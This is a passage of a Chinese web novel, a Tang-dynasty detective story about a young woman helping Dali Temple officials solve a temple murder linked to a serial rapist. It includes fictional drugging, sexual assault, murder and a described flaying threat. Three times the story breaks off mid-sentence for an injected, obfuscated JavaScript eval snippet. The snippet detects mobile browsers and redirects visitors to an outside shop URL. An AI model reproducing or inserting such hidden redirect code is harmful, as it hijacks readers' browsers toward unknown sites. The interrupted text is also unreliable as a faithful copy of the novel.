第二日,沈缨华强打精神用朝食,杨沅君以为她因昨夜之事还未释怀,低声安慰:“丹娘,裴少卿昨日并无轻视之意,他是害怕你在监视时发生意外,所以语气重了些……” “嗯嗯嗯。”沈缨华毫不走心地随意应声。 杨沅君还想替上司再说两句好话,却被录事张金打断:“沈娘子,沅娘,梁山那边儿有消息了。” 监视行动出奇顺利,不过一天,冯正和耿文达就察觉到此人有异。 冯正庆幸又后怕地说:“幸得沈娘子提点,那梁山果然有问题。昨日,他在北郊附近的村子巡逻,看似正常,但目光总会在女子身边游走,还有意无意向老翁打听村中情况。” 杨沅君问:“冯县尉,他今日有去特别的地方吗?” “杨娘子指的特别是?” “上次我和丹娘打听到,贼人每次作案后都会拿走被害人的贴身衣物,所以我在想他会不会经常去藏赃物的地方看看。” “竟有此事!” 耿文达一阵头痛:“不知这死贼是不是把衣物藏家里了,要是没在,那可就难办咯。” 衙门办事,抓人拿赃,少一样都不行,何况梁山不比普通人,本就是小吏,熟悉流程,一旦他们少了一环,这厮必定会向大理寺泼脏水,污了几人的官声。 裴湛沉吟片刻:“那只能引蛇出洞了。” “头儿,你的意思是?” “明日对外放出风声,就说大理寺认定抓捕胡七的证据不足,先放了他,咱们佯装有事先回长安,再便装回来静待他再次作案。” 眼下似乎也只有此法可试上一试,第二日他们便依计行事,先是大张旗鼓让胡七回了家,又风风火火从官道离开巩县,直到傍晚,胡七帮所有人易容换装,分成三四拨前后脚入城与冯正碰头,埋伏在梁家附近。 三日过去,风平浪静,梁山依旧没有行动,待到第四日,这条淫蛇终究是忍不住了,他借口给岳丈送些吃食,傍晚出城在城郊一处废屋换上女装直奔城北早已被他相中的一个独身女户。 他以为大理寺早已走远,又着急再陷害胡七,越发大胆,也不再搜刮借口,直接等天黑下迷药。可惜这次,他早已成为瓮中之鳖,刚一下手便被大理寺和县衙官差团团围住,捉了个现行。 一开始,他狡辩自己只是一时鬼迷心窍想模仿连环采花贼,求上司放过,但耿文达已在废屋中发现被藏匿于床榻下的木箱,里面全是女子的贴身衣物,与先前被害人的口供一一核实后,证据确凿,这就是梁山作案后拿走的“纪念品”,人赃并获,无从抵赖。 监牢中,蓬头垢面、眼神涣散的梁山呆坐在角落,一言不发,他知道自己翻不了身了,没想到一次错次次错,落得如今这个下场。 冯正看着墙角的人,问:“梁山你有妻有子,家境不错,为何要做此等伤天害理之事。” 梁山抬头见是冯正,他扑倒在地,不住磕头:“冤枉,冯县尉,我是被冤枉的,箱子是我捡到的,我没有做……” 冯正皱眉,叹口气,反问他:“事到如今,人证物证齐全,你竟还有脸狡辩,你说那箱子是你捡到的,在哪儿捡的,什么时候捡的,里面还有一件染血的诃子,你捡到后为何不报?” 梁山哑然,答不出来,他颓废地跌坐在乱草堆中,万念俱灰。 冯正又问:“梁山,何人教你易容之术?” 梁山忽然又来了气,一脸愤恨地说:“冯县尉,是胡七,都怪胡七,他吃了酒跟我显摆自己曾跟人学过易容,我一时好奇就趁他……都是他,都是他的错!” 冯正毫不留情地戳破梁山的谎言:“事到如今,你还在狡辩,胡七根本没有教过你,定是你趁他吃醉,诓他学了几招。再者,□□女子的是你,竟还有脸诬陷他人。” 梁山合上眼沉默不语。 耿文达:“驿站装设弄鬼的也是你吧,为何要将村民引过去?” 梁山不再挣扎:“我知道大理寺的人要到驿站,所以想提前看看他们逮着胡七没有,竟发现那厮没被捆起来,我怕是官人们查到了什么,所以想再添一把火,让他彻底翻不了身,哪知……哎……” 耿文达讥笑:“哪知聪明反被聪明误,反倒帮他洗清嫌疑,真是讽刺,你明明早已成亲,为何要犯下这么多罪孽?” 梁山愤愤不平起身怒吼:“都怪家里那个臭婆娘,若不是她整天讥笑我没有男子雄风,若不是她总将我与其他男人作比较,我……我也不会铸成大错。” 裴湛平静发问:“为何要杀人。” 梁山终于绷不住了,泪流满面:“我也不想的……我跟往常一样在茶水中下药,明明见她晕了,我才骑在她身上,刚扯开领口摸了几把,她就睁开眼要喊,我……我一时慌了神,只得堵住她的嘴,哪知她咬我一口,害我失去理智这才用匕首胡乱刺了一刀,我没想要她命,呜呜呜……” 据梁山交代,他是在陪自家娘子去清辉观祈福时,发现这位道长喜欢引人入袇房讲道,从而盯上假□□。案发当日,他借口想单独与道长论道,入袇房趁“她”不备下了药,本以为又是一次手到擒来的游戏,哪知中途出了意外。 假□□倒下不久,他刚剥开身下人的上衣,“她”便迷迷糊糊醒了,梁山瞬间慌了神,立刻堵上“她”的嘴,两人推搡时打翻了床榻上的小案几,最终从奸污未遂升级为杀人,他见出了命案,慌忙翻墙逃走。 冯正又问:“你杀他时,他可曾喊出声了?” 梁山盯着手上早已消失的牙印:“没有……她一睁眼我就立马堵上她的嘴。” “逃跑路上可曾遇见谁了?” “没有……我早就勘查过了,那个时辰,观中人都爱集中在前院讲道,很少有人会出现在后院的袇房。” 对梁山的审问结束,众人回到前厅,耿文达一拍大腿:“头儿,你看我说什么来着,灵微说谎了吧,她压根没听见假□□的叫喊声,说不定补刀之人就是她!” 杨沅君不解:“可动机呢?她入观不久,与假□□毫无交集,有何理由杀人?” “或许她早已发现了假□□是真男子,一时激愤,正好趁此机会给了他一刀。” 几人还在争论不休,负责查找真假□□的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317612|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官吏终于回来了。 真□□倒还好,度牒上的信息很容易核实,俗名罗大娘,荆州人士,幼年怙恃俱失,被清安观的女冠们好心收养,长大后正式出家为道,自幼天真烂漫、乐善好施,五年前老观主去世,她决定云游四方布道,哪知北上洛阳便遇上贼人,殁年二十。 假□□的真实身份委实难查,好在有了张大福的口供,他们很快找到了汜水县的廖家,没想到那假□□和其二姊模样颇为相似,寻人的衙役一眼便认了出来。 廖五郎因何杀死□□已无从查起,如今摆在众人面前的另一个谜团,灵微是否是补刀之人,她作案的动机到底是什么? 根据梁山的供述,灵微有补刀之嫌,大理寺即刻将其羁押在县衙监牢中。 “官人,我真的没有说谎,我是被冤枉的,我真听见□□的尖叫声才进去的,更没有杀人,冤枉啊……”灵微哭喊申冤,坚决不认补刀之事。 沈缨华深觉此事蹊跷,首先灵微与梁山压根不认识,其次就算她与假□□真的有仇,根本没必要谎称听到喊叫声又尖叫引来无尘,大可顺水推舟直接补刀再悄然离开。 最重要的是,她询问过沅娘,若第二位凶手用剪子补刀,即使伤口不够致命,手上衣服上极有可能会沾上血迹,但无尘及随后赶来的女冠们皆都可作证,当时灵微身上并无血痕。 待大理寺的人离开后,沈缨华假借裴少卿让她给嫌疑人灵微送些吃食为由,带着两个丫鬟溜了进去。 沈缨华蹲下身,给牢房里的灵微递去一杯蜜水和一方手帕:“灵微道长,别哭了,快喝点蜜水,再擦擦脸。” 蜷缩在角落的灵微哭得满脸泪痕,见沈缨华前来探望,犹如抓住救命稻草一般,连扑带爬来到门边,握住她的手,哭诉: “沈娘子,我真的……是被冤枉的,您能不能帮我去向官人们说说。” 沈缨华见灵微哭得肝肠寸断,替她擦了擦脸,决定先稳定其情绪,轻声说:“灵微道长,你先别哭,我是相信你的。但大理寺官人断案讲证据,你再细细回忆当日情形,我才能帮你找到证人证据洗清冤屈。” 灵微打着哭嗝点头,缓缓道出案发当日情景。 她入观不久,按清辉观的规矩,除了布道修行,还需负担观中打扫浣洗等诸多杂事。 卯时,上早课。辰时,去后厨做小点招待信众。巳时,后厨做午食。午时,与同门用餐,假□□亦在。未时,午休。申时,男扮女装的梁山入观,与假□□攀谈,两人入袇房。酉时,灵微打扫院内,在□□院外听见叫声,入内发现其尸体,她被吓得尖叫,无尘闻声而来。 “申时到酉时,你是说那梁山至少待了一个时辰,可据他供述,他顶多待了半个时辰。” “沈娘子,我我真的没有说谎,或许……或许我太紧张记错时辰了。” “这可不成,官人们会认为这是狡辩之词,你再好好想想这个时辰,遇到何人,发生何事?” 她强迫自己冷静下来,闭眼再忆,可确无特别之处,跟平时一样……那个也算吗?她犹犹豫豫开口:“那期间,我在后院浣洗,好像瞧见无尘师姐穿着法衣跑进偏房。” “法衣?” “嗯,我依稀记得是她替师傅去斋醮祈福用的那套。” “还有呢?” “没了……沈娘子,我真的什么都不知道啊。” 沈缨华叹口气:“你今晚再好好想想,我回去再梳理一下,找找线索。” 14. 第 14 章 月华当空,凉风渐起,含霜合上窗,回头见沈缨华还伏在案几上眉头紧锁,写写画画,嘴中念念有词,玉露则坐在一旁替她磨墨。 含霜忍不住出声提醒:“娘子,娘子,别写了该歇啦。” 沈缨华停笔,敷衍道:“好好好,玉露我知道了。”说罢抬头,却与撅着嘴的含霜四目相对。 “娘子,您还说不偏心,明明是我提醒来着,您心里就只记着玉露阿姐。” 沈缨华这才回神,玉露坐在身侧,她下意识以为是玉露在说话,刚想安抚含霜,脑子里乱成一团的线索突然连在一起,倏然起身,大喊一声:“原来如此,我们都被误导了!” 玉露、含霜莫名其妙盯着自家娘子,她这又是怎么啦?沈缨华以迅雷不及掩耳之势夺门而出,直奔裴湛的院落。 “裴少卿、裴少卿,开门,我有要事相告!” 裴湛刚脱下外袍正欲安寝,却听房门砰砰作响,沈缨华的声音在门外响起。 他眉心一跳,胡乱系上腰带,快步前去开门,这沈娘子又公然夜访郎君,真是……不知羞,幸好他的手下口风甚严,不然被嚼舌根的传出去,她还嫁不嫁人了! “别敲了,沈娘子,夜已深,到底……嗳,你别进来啊。” 沈缨华一个闪身就进了门,一脸莫名其妙:“天凉夜寒,站在门外说,万一染了风寒怎么办。” 裴湛深吸一口气,多年教养提醒他,务必保持冷静,不可随意动怒,他抿了一下唇,正要说教。 玉露和含霜追了上来,喘得上气不接下气:“娘……娘子,夜里风……大,披上帔子。哎哟,您怎么能……裴少卿,多有打扰。” 沈缨华接过帔子,喧宾夺主地说:“你俩快进来,别耽误我和裴少卿说正事。” 裴湛到底是忍下了给这小娘子补上礼教之学的冲动,耐着性子问:“沈娘子,你到底有何事,非要现在说?” “灵微没有说谎,她是被人误导了!” “什么?” “裴少卿,您仔细想想,灵微入观不久, 她和假□□根本不熟,为何只因听到女子的尖叫声便判定那是假□□。” 裴湛眉头紧锁,负手陷入沉思,对啊,灵微与假□□并不相熟,如若此话当真,那她怎么能分辨…… 他松开眉心,猛然回头盯着沈缨华的笑脸,道:“她当时正打扫到假□□的院子外,听到那个方向有女子尖叫,进门又发现假□□死在屋里,下意识以为刚才是她求救。” “正是如此,她反复被问起当日的情形,又一遍一遍加深了自己的判断。凶手误导灵微,灵微又误导我们。” “可……若这一切是凶手所为,他为何要布置此局,引人发现假□□的尸体,就算放任不管迟早也会被人发现?目的何在?” “是呀,为何要如此,就像生怕别人太晚发现假□□死了,就会怀疑到她身上一样。” “你的意思是,假□□被害的时间还得往前提一提,且那补刀的凶手就在道观,所以她故布疑阵将一切都推到刺了第一刀的贼人梁山身上?” “正是。” “你有怀疑的人选?” 沈缨华狡黠一笑:“是有一个,不过眼下还没证据,我怕说出来让您先入为主,影响断案,如此便暂且保密,容我先查一查。” 裴湛起来得匆忙,屋内只点了两盏灯,凉风穿过虚掩的房门窜进来,惹得烛光摇曳。 她头上又簪了一朵牡丹,乌发红花,虽无华贵的金簪,却衬得眼前的女子半是清丽半是明艳,一双笑眸在半明半暗中熠熠生辉。 他移开目光:“既如此,明日我派人随你去清辉观走一趟。时辰不早了,我先送你回屋吧。” 沈缨华捂嘴一笑,指了指裴湛松松垮垮的腰带:“不麻烦裴少卿啦,晚安。”说罢,蹦蹦跳跳退出房门。 裴湛窘迫地握紧腰带,目送她走出院门,迅速关好房门,这才长舒一口气。 最近自己也不知怎么了,先是听信耿文达“谗言”,让她跟着办案,又一次两次容她放肆!真是怕了这小娘子,热血上头就不顾礼法,回了长安一定得寻机会找她阿翁阿耶提点一二,不然被人嚼舌根,污了名声,影响婚嫁可不好。 被人担心嫁不出去的沈缨华已经开始筹谋,如何悄无声息在长安开拓她的写作事业。 阿玲不解:“你又不缺钱,怎么出本书像做贼一样?” 沈缨华解释:“我写的话本虽是闲书,但涉及案件,家中长辈皆在朝为官,且阿翁又是在刑部,若被御史抓到,恐怕会给家里惹来麻烦。” 阿玲:“既然如此,那就找个空壳,咱们借壳上市!” “什么壳?” “简单来说,就是找个可靠的人替你出面与书店签合同。” 沈缨华郁闷:“这个我想过了,玉露、含霜是我身边最可靠的人选,但她二人是我贴身丫鬟,一旦被人逮到,我又岂能置身事外!可若是找个不知底细的,那我也不敢托付呀,毕竟这事儿可大可小!” 阿玲头大,打了个哈欠:“这也不行,那也不行,算了算了,赶紧睡吧,我困得很!” “你不是幽魂吗,怎么还会困?” “定是你精力太过旺盛,抢了我的生气,少啰嗦,赶紧睡,啊-哈-” …… 第二日,沈缨华随大理寺官吏再访清辉观。 观主凌虚因涉嫌知情不报,虽未被收监但至今仍软禁在袇房内,其余女冠皆不可出观,直至案情彻底查清。一时间,清辉观上下人人自危。 沈缨华思量片刻,决定先找观主凌虚,有些疑问或许她才能解答。 两位小吏守在凌虚袇房外,吃食皆由专人端入房内,不许她踏出房门一步。 凌虚整日惴惴不安,几天下来,眉眼无神,双颊凹陷,宛如行尸走肉。 沈缨华推门入内,诚惶诚恐的凌虚迎了上来,跪倒在地,声音颤抖:“沈娘子,贫道真的是无辜的,那假□□以全观人的性命威胁我,所以我……我才犯了糊涂。劳您向官人们求求情,放过贫道吧。” 屋内只有凌虚的抽噎声,她小心抬头,见沈缨华目光冰冷,心中一惊:难道……难道大理寺已经全部查到了?!不可能,不可能,那该死的阴阳人已经死透了,不会查到的……莫不是他留下了什么记录,完了,全完了! 沈缨华实则心里没底,想冷脸诈一诈凌虚,她总觉得这道长眼神奸猾,频频闪躲,似乎还隐藏着更大的秘密。 阿玲也认同她的猜测:“根据微表情专家的观点,频繁眨眼,躲避对视,说明此人正处于高度焦虑中。还有,她不停扯领子,是一种压力之下无意识的自我安抚行为。她肯定隐瞒了重要信息,阿丹,你这样说……” “好。” 沈缨华语气冰冷开口道:“说吧,你若现在开口将此事原原本本说个痛快,还能免去一顿皮肉之苦,若等裴少卿前来,他可不是心善的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317613|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主儿,你让他忙活这么久,最终怕是会落得个剥皮填草的下场。 哦~你不知道这刑罚吧,专门用来对付那些犯了死罪还嘴硬的人。 行刑时,得先把人绑在木桩上,从头顶中间划开一道口子,将皮生生剥下来,等那人活活痛死后,再把这皮缝上,填上干草即可。嗯~就是从这里开始。”说罢用手在凌虚额头慢慢划过。 凌虚的精神崩溃到极点,被吓得涕泪横流,两股战战,小便失禁。 别说范了事儿的凌虚害怕,含霜、玉露也被吓得瞪大了双眼,小心回头,瞧了瞧身后的张录事。 这几日她们与大理寺的官吏们相处得不错,没想到啊,私底下手段竟如此凶残。 本来只是听令陪沈娘子道观一日游的录事张金也瞪大了双眼。他怎么不知道大理寺还有此等酷刑,裴少卿办事雷厉风行但也并非残暴之徒,怎么沈娘子这么说他老大! 张金刚想替上司辩解两句,受不了压力的凌虚开了口:“我说,我说,我全都说,别用刑别用刑……呜呜呜……” 沈缨华见自己的恐吓起了作用,故作淡定地吩咐:“张录事,将凌虚的口供记下来,她若还是说一句吞一句,咱们再动刑也来得及。” “好好好。” 据凌虚交代,自从撞破假□□的身份后,她也曾纠结要不要报官“止损”,岂料假□□能说会道,极受信众欢迎,其中不乏权贵高官家的女眷,甚至连玉真长公主的车辇也停在了清辉观的山门前。 她至今仍记得,紫檀宝车停于黄土道上,侍者伏跪在地,以背为踏,承住一双金绣软履,清婉悠长的崖香由远及近,月白道袍在阳光下珠光流转,那是蜀地进贡的冰蚕丝特有的光芒。 高贵优雅的长公主随廖五郎(假□□)径直走向静室,谁也不知二人谈了什么,只是待长公主走后,黄土道铺上了长安运来的青砖,不足一亩的道观生生拓了五六亩,连观前的普通香炉也换成鎏金大鼎,籍籍无名的清辉观一时间风头无两。 凌虚彻底沦为廖五郎的“保护伞”,从开始的睁一只眼闭一只眼,到主动为他遮掩,事态逐渐失控…… 廖五郎看着那些对自己从容敬顺,甚至剖白隐秘,乞求指点迷津的女娘,心底升起了酥酥麻麻的欲念。 年幼时,这具鬼神难辨的身躯让他被家人抛弃,被世人唾弃,被恶人驱使。如今他却靠这躯壳,摇身一变,成了人人敬仰的道长。 可是还不够,不够弥补他曾经所受的折磨,他要让这些匍匐在地的俗人接受审判!来自他的审判! 四年前,他不知从何处寻到迷药,挑中了一个稚嫩又澄澈的小娘子。她跪在蒲团上,低头捡签的一瞬,露出莹白的脖颈,晃得他心猿意马。 就她了! 廖五郎偷偷将迷药下在她的茶碗中,趁着夜色,潜入香客袇房,扯开她的衣衫……明明有一半相似的身躯,可另一半却彻底将恶魔释放。 自此以后,欲念疯长,一发不可收拾…… 凌虚发现后,惊惧交加,但那无赖有恃无恐,反过来威胁她,少管闲事,官差来了,她亦少不了落个包庇罪。 凌虚自知理亏,只得警告他:“不能对观中人和未出阁的小娘子下手!” 廖五郎笑得肆无忌惮:“知道了,那些个小娘子没滋没味,尝尝鲜就罢了,还是妇人有趣些,嘿嘿嘿……我的好观主,你且放心,我不会被抓到的,就算真的不留神湿了鞋,自有贵人替我遮掩……” 15. 第 15 章 沈缨华听得心惊肉跳,她本是想通过凌虚找到补刀人与廖五郎之间的恩怨纠葛,哪知诈出一记重磅消息。 她不敢露出破绽,依旧冷漠地板着脸,一言不发盯着跪在地上痛哭流涕的凌虚。 一炷香后,凌虚才交代干净。 “说完了?” “完了……贫道绝无隐瞒,沈娘子明鉴。” “无尘是什么时候进来?” 凌虚被沈缨华的问题砸得愣在原地,半晌才说:“大约一年前。” “她也没来多久,为何让她替你去斋醮祈福?” “她曾在汜水县的道观修行,经验丰富,所以我没空时,常让她替一下。” “祈福用的法衣在哪儿?除她之外,最近还有谁用过?” “柜子里第二件,绛红色那套。就上月她穿过,后面无人动了。沈娘子问这些是何缘故?” 沈缨华没有回答,径自打开木柜,翻出绛红色法衣,又接过张金抄录的口供看了看,放在凌虚跟前说:“画押吧。” 凌虚面如死灰,浑浑噩噩地按下手印,眼泪不停流,堂堂一观之主竟落到这个地步,懦弱、贪慕、虚荣,她终究没有逃离俗世,被埋在滚滚红尘的浮华中。 口供到手,张金一刻不敢停歇,立即快马加鞭呈给上官。 裴湛和耿文达拿到口供翻看好几遍,又让他详细说说那凌虚怎会突然主动爆出这等大事。 “你的意思是,凌虚被沈娘子一番胡言乱语恫吓,为了不受剥皮填……填草之苦,所以主动交代了?” “是,耿司直。” 耿文达转头看向一言难尽的裴湛:“头儿,咱们大理寺什么时候有这等酷刑了?你怎么能胡编乱造抹黑咱们啊,这可不成。” 裴湛气得踹了他一脚:“编什么编,分明就是那小娘子随口胡诌的!要是真有这酷刑,我先把你剥了。少废话了,点上几人,咱们立即去清辉观,正式提审凌虚。” 沈缨华这边也没闲着,她坐在后院的亭台中查看法衣。 红色袍子上绣着繁复的花纹,背面仙鹤、凤鸟围绕日月星辰,正面五层宝塔立于祥云之上,两边衣袖皆是莲花草木。初看并无异样,但当她仔细查找后,终于发现了端倪,右边袖口处的浅粉色的莲花纹上有几处深褐色的污迹,想来是她当时浣洗得太匆忙,又急于归还以致留下证据。 “沈娘子,你发现啦。”无尘站在亭台边,一脸从容。 “他已被刺中心脏,多半活不成了,你又何苦再补那一刀。” “我要亲手杀了他,不能让这畜牲有一丝一毫活命的机会。他毁我半生,只有此法才能平我心中怨气……” 无尘俗名秦秀儿,本是汜水县的农家女子,四年前随阿母去清辉观中祈福时遇上了假扮□□道长的廖五郎。 彼时的秦秀儿单纯懵懂又清秀可人,被色心大起的廖五郎盯上了。 恰逢当天大雨滂沱,豆大的雨点砸在山路上,溅起浑浊的水花,泥泞不堪,母女二人无法下山回家,廖五郎撑着伞热情邀请她们在观中留宿。 廖五郎:“二位施主,这场雨恐怕一时难停,若不嫌弃,随我去香客厢房暂住一夜,明日启程如何?” 秦家母女连连道谢,随他进了最僻静的院落。 秦秀儿的外衫被雨滴淋湿,颇为狼狈,廖五郎趁机递给她一件道袍:“小娘子快些换下,以免染上风寒。” 母女二人皆未多想,秦秀儿一边道谢一边脱下衣衫……也就是这一夜,他在热茶汤中下药,迷晕二人,将秦秀儿奸污了。 她当时年幼,明明第二日已察觉到身体的异样,却以为自己是夜里着凉以至全身酸疼。 直到年底嫁人后,更大的噩梦开始了。 因初夜未落红,新婚夫君便认定她是水性杨花之女,其后轻则谩骂,重则拳打脚踢。有苦难言的秦秀儿完全不知这一切祸从何起,只能含泪忍着。 或许老天都看不过她这每日提心吊胆的日子,不多久,那夫君因醉酒落水,死了。秦秀儿终于得以逃出家中,但长期遭受暴力已让她对男子心生恐惧,不顾家中劝阻,毅然决然入观出家。 她对尘世心如死灰,却在道法上颇有建树,短短两年就成为汜水县道观的中等法师。 一年前,因清辉观声名在外,她便特意前来参学。 大约两个月前,在归还法衣时,无意中听到凌虚警告廖五郎别太过胡来,免得露出马脚。 她当时只觉得奇怪,却未明白此话何意。好奇之下,她开始留意假□□(廖五郎),偷偷潜入其袇房外,终于发现这个震惊世人的秘密,也终于反应过来自己当初竟是被这贼人毁去清白。 一开始她本想报官,可想起观主凌虚的放任包庇,和廖五郎的肆无忌惮,内心的恨意滋长。 若不是这贼人,若不是这虚伪的观主,她也不至于被那前夫揍得全身无一块好皮。得天垂怜她未死,既如此,定要手刃此贼…… 她开始有意接近廖五郎,寻时机下手。 得知他想要绣一幅道德经献给玉贞长公主,她便主动揽下这事儿,计划在水里下药迷晕这死贼,再用剪子捅死他。 谁知计划赶不上变化,好不容易从黑市买到了迷药,那日她提前完成祈福会,本想借口去他的袇房绣经文,再寻机下手。 哪知刚到院外就瞧见一粉衣“女子”身手矫健地从墙头跳下逃走,待她进屋查看,发现廖五郎胸口中刀眼见要不行。 无尘再也忍不住了,在廖五郎临死前惊惧的目光中,说出自己当初的遭遇又拾起地上的剪子,让这恶贯满盈的贼人彻底咽了气。 大仇得报,无尘又喜又怕,她慌忙丢下剪子逃走,去后院匆匆换下法衣大致将染血的袖口清洗一番,便开始琢磨如何将祸水引出去。 想起那逃得无影无踪的粉衣“女子”,无尘便有了主意。 她早就留意过灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317614|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微每日打扫,大约酉时会经过廖五郎的院子外,她算准时机等在院外不起眼的角落,见灵微经过便高声尖叫,灵微果然以为是院内传出的声音,冲进去待她发现廖五郎的尸体后,无尘又佯装听见灵微的尖叫跑过来,还谎称刚见到粉衣女子翻墙逃走。 一开始皆如计划中那样,但长公主对县衙施压后,官府的调查越发深入,竟查到巩县的连环采花贼是杀人真凶。 无尘得知此事后,也是倍感意外,一个男扮女装的采花贼欲□□另一个男扮女装的采花贼不成,便出手将其杀害,真是讽刺至极。 无尘看着池中的荷叶,有些出神,她在修道中找寻摆脱阴霾的出口,却一步踏错着了相。但她不后悔,如若此仇不报,心中恶气难出,为自己也为其他被害的女子。 想到这儿,她轻声问:“沈娘子,此事皆是我犯下的罪孽,与灵微师妹无关,我这便去认罪,还望娘子和官人们明鉴。”说罢跪下重重一磕。 含霜、玉露眼中泛红,透着不忍,想要为无尘求情,沈缨华扶起无尘,帮她掸去道袍上的尘土:“无尘道长为民除害,怎么能说是罪孽呢?何况杀人的是梁山,你不过是伤了廖贼。大理寺尚未查明此事,便主动自首,按律可从轻。” 无尘满脸不可置信:“我……我杀。” 沈缨华捂住无尘的嘴,笑盈盈地说:“道长只是一时气愤用剪子刺伤了他,可没杀人,不该认的罪可不能认,我来帮你写口供,画押后呈给官人可好?” 无尘眼眶含泪点点头,被前夫毒打时,连她双亲也不信她未做过出格之事,嫌弃她丢人,让她自己受着郎君的怒火。萍水相逢的沈娘子却信她之言,甚至竭力帮她。 “为何……为何沈娘子你要帮我?” 沈缨华顿了一下,说:“我只是想鸣世间不公,替无辜者发声。此事错的是□□女子的贼人,是助纣为虐的包庇者,是不分是非的夫君,独独不是你。夺人性命固然不对,但事出有因,且是伤人自首,该受刑罚便受,但,你没错!” 你没错!秦秀儿你没错! 无尘哭得不能自已,多少个日夜,她都想不通为何自己会莫名其妙丢了清白,平白无故受一顿毒打,所有人都说是她有错在先,可她搞不懂自己何错之有。 杀了罪魁祸首假□□之后,她以为自己会好受些,但午夜梦回,她反问自己,倘若当初清白还在,那前夫真的会对她好吗? 不,不会,他本就是暴虐之人,纵使没有此事,她依旧会被打,只是理由会变成没有备好酒菜、没有侍奉好公婆、没有生出儿子……她的错从来都不在清白,而在女子之身。 “沈娘子,官府判罚后,我还能修行吗?” “当然能,道长的身份可不是官府颁发的,若清辉观待不下去,换一间便是,天下之大还怕不能容身。无尘道长若不嫌弃,我可助你去洛阳万安观或者长安附近的道观。” “好,那我先谢过沈娘子。” 16. 第 16 章 耿文达翻看眼前的自首陈词,再次发问:“头儿,你真的不考虑召用沈娘子吗?” 裴湛难得翻了个白眼,随后一巴掌向他后脑勺招呼上去:“耿世琛,你可真敢想啊,召用吴兴沈氏的小娘子给你跑腿,她祖父刑部侍郎,父亲秘书郎,二叔长安县县令,要不你教教我如何召用?” 耿文达摸着后脑勺:“我这不是开玩笑嘛,头儿你怎么还认真了,你该不会是真想过吧?” 裴湛抬手又想给他一巴掌,耿文达灵活躲过,忙告饶:“头儿,我随口胡诌的,就是想夸夸这沈娘子真聪慧,帮咱们减轻工作,可以早些回长安。” “你让张金把证据口供整理好,全部呈给高县令,赶紧把该砍的砍了,该抓的抓了,该判的判了。” “是,头儿。” 两日后,县衙公审,高县令让师爷当庭公布所有真相,门外的百姓听得群情激奋,没想到那被害的假□□竟是个杀人替身□□女子的假道长,杀人的梁山不光是连环采花案的真凶还栽赃嫁祸无辜的胡七,道貌岸然的观主凌虚明知假□□的身份竟为了一己私欲帮其隐瞒,唯有补刀伤人的无尘令人同情。 一时间,门外众人纷纷为无尘求情。 “高县令,无尘道长伤人也是事出有因,您放过她吧。” “对啊,她只是为民除害,何错之有。” “都是那廖五郎和凌虚作恶,她是被逼的。” “肃静!本官会依照律法断案,无关人等不可干涉……廖五郎杀人□□理应处斩,因其已死,弃尸于荒野,不得收敛。梁山□□杀人,本官已详审其罪,待上报州府及刑部复核,后定其罪。凌虚知情不举,纵奸行恶,徒五年。无尘虽伤人,但本官念你事出有因,且自首悔罪,杖二十。” 无尘立马叩谢:“谢县令明鉴。” 凌虚瘫倒在地,虽保住了性命,但她的丑事被彻底公开,已被逐出道门,日后出狱恐怕还会被受害娘子们报复,苦心经营半生的名声如泡影破灭。 无尘受完杖刑,被沈缨华派人接回清辉观,同门没有冷眼相待,反而呵护备至,替她上药疗伤。 无尘埋头伏在榻上,眼泪浸湿道袍,真好,她还可以留在这里,真好,她没有真的孤独无依。 杨沅君放下车帘,笑盈盈地问:“丹娘,你怎么知道清辉观的人定会接纳无尘道长?” 沈缨华装模作样跟友人说:“天机不可泄露。” “哎呀,你说说嘛,你说嘛……”杨沅君难得撒娇卖乖想要得一个答案。 一旁的含霜看不下去,拆了自家娘子的台:“我家娘子昨日特意来清辉观试探众人态度,刚一进去就被团团围住,代理观主甚至献出观中珍藏的典籍经文,希望娘子能帮忙求情放过无尘道长,如此这般,可见她们同门情谊深厚。” “都怪我,把你纵得越发大胆,还敢抢你家娘子的话!替我找根针来,一定要把你这小嘴缝上才让我安心。” 车厢里三人打打闹闹,马车突然一停,车夫对着前人呵斥:“你谁啊?挡路干嘛!”车内三人面面相觑,只听胡七的声音响起:“沈娘子可在?我是胡七啊!” 含霜拉开帘子一角朝外看去,真是胡七,这厮又来干嘛,她钻出车厢问:“胡君,你这是作何?好好的拦车干嘛?” 胡七忙躬身行礼:“惊扰各位,是我不对,我只是想来感谢沈娘子的救命之恩。”说罢,跪下对着车厢重重一磕。 沈缨华隔着帘子说:“胡君,本就是顺手帮你一把,不用再磕头道谢啦。” 车夫随即要驾车离开,胡七忙又追上来跟在车厢边:“沈娘子,我听闻你们要回长安,不知能否让我跟在后面,我也想去长安。” 沈缨华叫停车夫,拉开帘子,有些奇怪:“胡君,你去长安探亲?” 